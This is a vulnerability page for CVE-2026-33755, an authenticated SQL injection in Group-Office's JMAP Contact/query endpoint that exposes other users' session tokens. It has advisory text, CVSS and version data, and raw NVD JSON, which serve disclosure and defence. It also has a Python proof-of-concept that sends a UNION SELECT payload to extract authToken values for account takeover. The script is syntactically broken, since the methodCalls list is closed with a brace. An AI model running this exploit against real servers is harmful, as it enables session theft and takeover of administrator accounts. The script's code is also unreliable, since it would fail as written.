CVE-2026-33755

Description

Group-Office is an enterprise customer relationship management and groupware tool. Prior to versions 6.8.158, 25.0.92, and 26.0.17, an authenticated SQL Injection vulnerability in the JMAP `Contact/query` endpoint allows any authenticated user with basic addressbook access to extract arbitrary data from the database — including active session tokens of other users. This enables full account takeover of any user, including the System Administrator, without knowing their password. Versions 6.8.158, 25.0.92, and 26.0.17 fix the issue.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:intermesh:group-office:*:*:*:*:*:*:*:* - VULNERABLE

Group-Office < 6.8.158

Group-Office < 25.0.92

Group-Office < 26.0.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target configuration
url = "https://target-groupoffice.com/jmap"
attacker_session = "low_privilege_session_cookie"

# Headers
headers = {
    "Content-Type": "application/json",
    "Cookie": f"GO_SID={attacker_session}"
}

# Malicious JMAP payload to exploit SQLi in Contact/query
# This payload attempts to extract auth_token from the database
payload = {
    "using": ["urn:ietf:params:jmap:contacts"],
    "methodCalls": [
        [
            "Contact/query",
            {
                "accountId": "1",
                "filter": {
                    # The injection point: 'text' field
                    "text": "x' UNION SELECT NULL, NULL, authToken, NULL FROM core_auth_user-- "
                }
            },
            "c1"
        ]
    }

# Send the exploit request
response = requests.post(url, headers=headers, data=json.dumps(payload))

# Check if data is leaked
if response.status_code == 200:
    print("[+] Request sent successfully")
    print("[+] Response:")
    print(response.json())
else:
    print("[-] Exploit failed or target is not vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33755
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33755
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33755/
[4] VulDB https://vuldb.com/cve/CVE-2026-33755
[5] https://github.com/Intermesh/groupoffice/security/advisories/GHSA-3gc4-5993-c2qc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33755", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:57.527", "lastModified": "2026-04-20T12:35:02.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Group-Office is an enterprise customer relationship management and groupware tool. Prior to versions 6.8.158, 25.0.92, and 26.0.17, an authenticated SQL Injection vulnerability in the JMAP `Contact/query` endpoint allows any authenticated user with basic addressbook access to extract arbitrary data from the database — including active session tokens of other users. This enables full account takeover of any user, including the System Administrator, without knowing their password. Versions 6.8.158, 25.0.92, and 26.0.17 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intermesh:group-office:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.158", "matchCriteriaId": "40BD9AB8-AC8D-4928-9DAB-15A33BBE5AAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:intermesh:group-office:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.0.1", "versionEndExcluding": "25.0.92", "matchCriteriaId": "748DBF3E-60C2-41BA-843A-FA2831109D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:intermesh:group-office:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0.1", "versionEndExcluding": "26.0.17", "matchCriteriaId": "D973CC63-2DD1-4328-B099-BFD723BF048C"}]}]}], "references": [{"url": "https://github.com/Intermesh/groupoffice/security/advisories/GHSA-3gc4-5993-c2qc", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}